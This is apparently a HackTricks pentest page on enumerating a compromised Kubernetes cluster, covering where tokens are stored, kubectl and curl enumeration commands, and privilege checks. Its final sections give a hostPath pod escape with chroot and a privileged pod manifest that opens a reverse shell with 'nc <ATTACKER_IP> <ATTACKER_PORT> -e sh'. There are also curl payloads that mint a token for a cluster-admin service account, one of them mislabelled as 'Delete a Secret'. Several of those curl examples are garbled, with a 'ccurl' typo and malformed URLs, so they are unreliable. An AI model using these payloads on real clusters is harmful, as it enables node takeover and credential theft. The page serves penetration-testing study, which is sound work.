Kubernetes Enumeration
Kubernetes Tokens
If you have compromised access to a machine the user may have access to some Kubernetes platform. A token or kubeconfig is usually located in a file named by the env var KUBECONFIG or inside ~/.kube. [5]
In this folder you might find config files with tokens and configurations to connect to the API server. In this folder you can also find a cache folder with information previously retrieved. [5]
If you have compromised a pod inside a kubernetes environment, there are other places where you can find tokens and information about the current K8 env:
Service Account Tokens
Before continuing, if you don't know what is a service in Kubernetes I would suggest you to follow this link and read at least the information about Kubernetes architecture.
Unless a Pod specifies another ServiceAccount, Kubernetes assigns the namespace's default ServiceAccount.[2]
ServiceAccount is an object managed by Kubernetes and used to provide an identity for processes that run in a pod.
Pods normally receive a short-lived, rotating ServiceAccount token through a projected volume. Older clusters and explicitly created legacy token Secrets may instead expose a Secret containing a bearer token. This is a JSON Web Token (JWT), a method for representing claims securely between two parties. [3]
A Pod's projected service-account volume is usually in one of the directories below and contains ca.crt, namespace, and token files.[3][4]
/run/secrets/kubernetes.io/serviceaccount/var/run/secrets/kubernetes.io/serviceaccount/secrets/kubernetes.io/serviceaccount
The files contain:
- ca.crt: It's the ca certificate to check kubernetes communications
- namespace: It indicates the current namespace
- token: It contains the service token of the current pod.
Now that you have the token, locate the API server using KUBERNETES_SERVICE_HOST and KUBERNETES_SERVICE_PORT_HTTPS from inside a Pod, or from a discovered kubeconfig. For more info run (env | set) | grep -i "kuber|kube".[4][5]
The service account token is signed by the key in sa.key and validated by sa.pub. A common Kubernetes PKI location for these files is:[6]
Default location on Kubernetes:
- /etc/kubernetes/pki
Default location on Minikube:
- /var/lib/localkube/certs
Hot Pods
Hot pods are pods containing a privileged service account token. A privileged service account token is a token that has permission to do privileged tasks such as listing secrets, creating pods, etc. [1]
RBAC
If you don't know what is RBAC, read this section.
GUI Applications
- k9s: A GUI that enumerates a kubernetes cluster from the terminal. Check the commands inhttps://k9scli.io/topics/commands/. [7] Write
:namespaceand select all to then search resources in all the namespaces. - k8slens: It offers some free trial days: https://k8slens.dev/ [8]
Enumeration CheatSheet
In order to enumerate a K8s environment you need a couple of this:
- A valid authentication token. In the previous section we saw where to search for a user token and for a service account token.
- The address (https://host:port) of the Kubernetes API. This can be usually found in the environment variables and/or in the kube config file. [4][5]
- Optional: The ca.crt to verify the API server. This can be found in the same places the token can be found. This is useful to verify the API server certificate, but using
--insecure-skip-tls-verifywithkubectlor-kwithcurlyou won't need this.
With those details you can enumerate kubernetes. If the API for some reason is accessible through the Internet, you can just download that info and enumerate the platform from your host.
However, usually the API server is inside an internal network, therefore you will need to create a tunnel through the compromised machine to access it from your machine, or you can upload the kubectl binary, or use curl/wget/anything to perform raw HTTP requests to the API server. [9]
Differences between list and get verbs
With get permissions you can access information of specific assets (describe option in kubectl) API:
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
If you have the list permission, you are allowed to execute API requests to list a type of asset (get option in kubectl):
#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments
If you have the watch permission, you are allowed to execute API requests to monitor assets:
GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
GET /apis/apps/v1/watch/deployments [DEPRECATED]
They open a streaming connection that returns you the full manifest of a Deployment whenever it changes (or when a new one is created). [11]
[!CAUTION] The following
kubectlcommands indicates just how to list the objects. If you want to access the data you need to usedescribeinstead ofget
Using curl
From inside a pod you can use several env variables exposed for in-cluster API access: [4]
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.
[!WARNING] By default the pod can access the kube-api server in the domain name
kubernetes.default.svcand you can see the kube network in/etc/resolv.configas here you will find the address of the kubernetes DNS server (the ".1" of the same range is the kube-api endpoint). [4]
Using kubectl
Having the token and the address of the API server you use kubectl or curl to access it as indicated here:
By default, The APISERVER is communicating with https:// schema
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
if no
https://in url, you may get Error Like Bad Request.
You can find an official kubectl cheatsheet here. [10] The goal of the following sections is to present in ordered manner different options to enumerate and understand the new K8s you have obtained access to.
To find the HTTP request that kubectl sends you can use the parameter -v=8
MitM kubectl - Proxyfying kubectl
# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true
Current Configuration
kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context
# Change namespace
kubectl config set-context --current --namespace=<namespace>
If you managed to steal some users credentials you can configure them locally using something like:
kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )
Get Supported Resources
With this info you will know all the services you can list. [11]
k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace
Object metadata worth checking
When you can read an object, export the full YAML or JSON instead of relying only on table output or describe. The most useful security context is often in generic object fields that exist across many resource types. [10][11]
kubectl get pod <pod> -n <ns> -o yaml
kubectl get deploy <deploy> -n <ns> -o json | jq '.metadata, .spec, .status'
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName,PHASE:.status.phase'
metadata.uid,name,namespace,apiVersionandkindidentify the exact object and avoid confusion between objects with the same name in different namespaces or API groups. [11]metadata.labelsand selectors connect Services, Deployments, ReplicaSets, Pods, NetworkPolicies and automation. Following selectors is often the fastest way to identify the real backend pods for a Service. [25]metadata.annotationscan leak operational context such as ingress behavior, cloud load balancer settings, GitOps or Helm metadata, policy exemptions, and service mesh configuration. They should not contain secrets, but real clusters often expose useful clues there. [26]metadata.ownerReferencesshows controller lineage. If a Pod is owned by a ReplicaSet owned by a Deployment, changing or deleting only the Pod usually does not fix the source. [27]metadata.finalizersandmetadata.deletionTimestampexplain resources stuck in deletion and can reveal cleanup controllers or persistence/disruption tricks. [28]status, Events, and conditions can reveal node placement, pod IPs, image IDs, failure messages, scheduling issues, admission denials, and controller progress. They are useful clues, but audit logs are still required to prove who performed an action. [11][29]
Dynamic Resource Allocation and device evidence
If the cluster uses GPUs, NICs, FPGAs, or other specialized hardware, check whether Kubernetes Dynamic Resource Allocation (DRA) is present. DRA uses resource.k8s.io objects such as DeviceClass, ResourceSlice, ResourceClaim, and ResourceClaimTemplate to describe available devices and claim them for Pods. These objects can reveal which nodes can access valuable hardware, which driver manages it, and which workload has an allocation. [30]
kubectl api-resources --api-group=resource.k8s.io
kubectl get deviceclasses.resource.k8s.io 2>/dev/null
kubectl get resourceslices.resource.k8s.io 2>/dev/null
kubectl get resourceclaims.resource.k8s.io -A 2>/dev/null
kubectl get resourceclaimtemplates.resource.k8s.io -A 2>/dev/null
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"/"}{.metadata.name}{" claims="}{.spec.resourceClaims}{" node="}{.spec.nodeName}{"\n"}{end}'
kubectl get daemonsets,pods -A -o wide | grep -Ei 'dra|device|gpu|nvidia|amd|intel|sriov|fpga'
During review, restrict writes to cluster-scoped DeviceClass and ResourceSlice objects to admins and DRA drivers, and keep ResourceClaim / ResourceClaimTemplate rights scoped to the namespaces that need them. Driver permissions to update ResourceClaim status should be explicit and narrow. On nodes, the kubelet PodResources API is commonly exposed through /var/lib/kubelet/pod-resources/kubelet.sock; monitoring DaemonSets may mount that directory to inspect assigned devices, so review those Pods like other privileged node agents. [31][32]
ClusterTrustBundle and add-on certificate trust
Recent clusters may expose ClusterTrustBundle objects in the certificates.k8s.io API group. They are cluster-scoped X.509 trust anchor bundles that Pods can mount through projected volumes. Broad read access is expected, but write access is sensitive because changing trusted roots can affect webhooks, aggregated APIs, service meshes, and applications that consume cluster-distributed CA material. [33][34]
kubectl api-resources --api-group=certificates.k8s.io | grep -i clustertrustbundle
kubectl get clustertrustbundles.certificates.k8s.io 2>/dev/null
kubectl get clustertrustbundle <name> -o yaml 2>/dev/null
kubectl get pods -A -o yaml | grep -n -E 'clusterTrustBundle|trustBundle|caBundle'
kubectl get apiservices -o jsonpath='{range .items[*]}{.metadata.name}{" insecure="}{.spec.insecureSkipTLSVerify}{" service="}{.spec.service.namespace}{"/"}{.spec.service.name}{"\n"}{end}'
During review, record signerName, bundle fingerprints, writer identities, projected-volume consumers, and any trust-distribution controller such as cert-manager trust-manager. Treat APIService objects with insecureSkipTLSVerify: true, stale caBundle values, or broad permissions to patch APIService/webhook trust fields as certificate-trust findings rather than ordinary object inventory. [34][35]
Get Current Privileges
The SelfSubjectRulesReview API reports the rules currently available to the caller in a namespace, although the result can be incomplete. [12][13]
k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace
# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>
Another way to check your privileges is using the tool: https://github.com/corneliusweig/rakkess [14]****
You can learn more about Kubernetes RBAC in:
Kubernetes Role-Based Access Control(RBAC)
Once you know which privileges you have, check the following page to figure out if you can abuse them to escalate privileges:
Abusing Roles/ClusterRoles in Kubernetes
Get Others roles
k get roles
k get clusterroles
Get namespaces
Kubernetes supports multiple virtual clusters backed by the same physical cluster. These virtual clusters are called namespaces.
k get namespaces
Get secrets
k get secrets -o yaml
k get secrets -o yaml -n custnamespace
If you can read secrets you can use the following lines to get the privileges related to each to token:
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
Get Service Accounts
As discussed at the begging of this page when a pod is run a service account is usually assigned to it. Therefore, listing the service accounts, their permissions and where are they running may allow a user to escalate privileges.
k get serviceaccounts
Get Deployments
Deployments specify the desired state for stateless application workloads. They create ReplicaSets, and those ReplicaSets create Pods. [15]
k get deployments
k get deployments -n custnamespace
Get StatefulSets
StatefulSets manage Pods that need stable names, ordered rollout behavior, and often per-replica persistent volumes. [16]
k get statefulsets
k get statefulsets -n custnamespace
Get Pods
The Pods are the actual containers that will run. [17]
k get pods
k get pods -n custnamespace
Get Services
Kubernetes services are used to expose a service in a specific port and IP (which will act as load balancer to the pods that are actually offering the service). This is interesting to know where you can find other services to try to attack. [18]
k get services
k get services -n custnamespace
Get nodes
Get all the nodes configured inside the cluster. [19]
k get nodes
Get DaemonSets
DaemonSets ensure that a specific Pod is running on all selected nodes of the cluster. If you delete the DaemonSet, the Pods managed by it will also be removed. [20]
k get daemonsets
Get Jobs
Jobs create Pods that run until completion. They are commonly used for migrations, backups, batch work, and one-off administrative tasks. [21]
k get jobs
k get jobs -n custnamespace
Get CronJobs
CronJobs use a crontab-like schedule to create Jobs that launch Pods for task-style execution. [22]
k get cronjobs
k get cronjobs -n custnamespace
Get configMap
configMap always contains a lot of information and configfile that provide to apps which run in the kubernetes. Usually You can find a lot of password, secrets, tokens which used to connecting and validating to other internal/external service. [23]
k get configmaps # -n namespace
Get Network Policies / Cilium Network Policies
NetworkPolicies control ingress and egress for selected Pods; inspect both directions and any Cilium-specific policies exposed by the cluster. [24]
k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies
Get Everything / All
k get all
Get all resources managed by helm
k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'
Get Pods consumptions
k top pod --all-namespaces
Interacting with the cluster without using kubectl
Seeing that Kubernetes control plane exposes a REST-ful API, you can hand-craft HTTP requests and send them with other tools, such as curl or wget. [11]
Escaping from the pod
If you are able to create new pods you might be able to escape from them to the node. A hostPath that mounts /, especially when combined with privileged or host-namespace settings, can expose the node filesystem and enable this kind of breakout. In order to do so you need to create a new pod using a yaml file, switch to the created pod and then chroot into the node's system. You can use already existing pods as reference for the yaml file since they display existing images and pathes. [36][37][38][41][42]
kubectl get pod <name> [-n <namespace>] -o yaml
if you need create pod on the specific node, you can use following command to get labels on node
k get nodes --show-labelsCommonly, kubernetes.io/hostname and node-role.kubernetes.io/master are all good label for select. [39]
Then you create your attack.yaml file
apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
# kubernetes.io/hostname: master
# or using
# node-role.kubernetes.io/master: ""
After that you create the pod
kubectl apply -f attacker.yaml [-n <namespace>]
Now you can switch to the created pod as follows
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
And finally you chroot into the node's system
chroot /root /bin/bash
Information obtained from: Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1 [41][42]
Creating a privileged pod
The corresponding yaml file is as follows:
This manifest combines privileged mode, host namespaces, and a hostPath mount; those settings weaken common Pod isolation controls and should be reviewed as a node or cluster escape risk. [36][37][38]
apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-exec-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: alpine
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
volumes:
- name: noderoot
hostPath:
path: /
Create the pod with curl: [11]
CONTROL_PLANE_HOST=""
TOKEN=""
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 478' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Delete a pod
Delete a pod with curl:
CONTROL_PLANE_HOST=""
TOKEN=""
POD_NAME="everything-allowed-exec-pod"
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
Create a Service Account
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Length: 109' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Delete a Service Account
CONTROL_PLANE_HOST=""
TOKEN=""
SA_NAME=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"
Create a Role
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 203' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Delete a Role
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_NAME=""
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"
Create a Role Binding
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 816' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Delete a Role Binding
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_BINDING_NAME=""
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
Delete a Secret
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 219' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Delete a Secret
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
SECRET_NAME=""
ccurl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"
References
- [1] Kubernetes Pentest Methodology Part 3
- [2] Configure Service Accounts for Pods
- [3] Service Accounts
- [4] Accessing the Kubernetes API from a Pod
- [5] Organizing Cluster Access Using kubeconfig Files
- [6] PKI certificates and requirements
- [7] K9s Commands
- [8] Lens
- [9] Install kubectl binary with curl on Linux
- [10] kubectl Quick Reference
- [11] Kubernetes API Concepts
- [12] RBAC Authorization
- [13] SelfSubjectRulesReview
- [14] rakkess
- [15] Deployments
- [16] StatefulSets
- [17] Pods
- [18] Service
- [19] Nodes
- [20] DaemonSet
- [21] Jobs
- [22] CronJob
- [23] ConfigMaps
- [24] Network Policies
- [25] Labels and Selectors
- [26] Annotations
- [27] Owners and Dependents
- [28] Finalizers
- [29] Auditing
- [30] Dynamic Resource Allocation
- [31] Dynamic Resource Allocation security
- [32] Device Plugins
- [33] ClusterTrustBundle projected volumes
- [34] ClusterTrustBundle v1beta1
- [35] API Aggregation Layer
- [36] HostPath volumes
- [37] Pod Security Standards
- [38] Security Context
- [39] Assigning Pods to Nodes
- [40] Kubernetes Pod hostPath Volume Mount
- [41] Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1
- [42] Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1
[!TIP] Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Browse the full HackTricks Training catalog.Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.


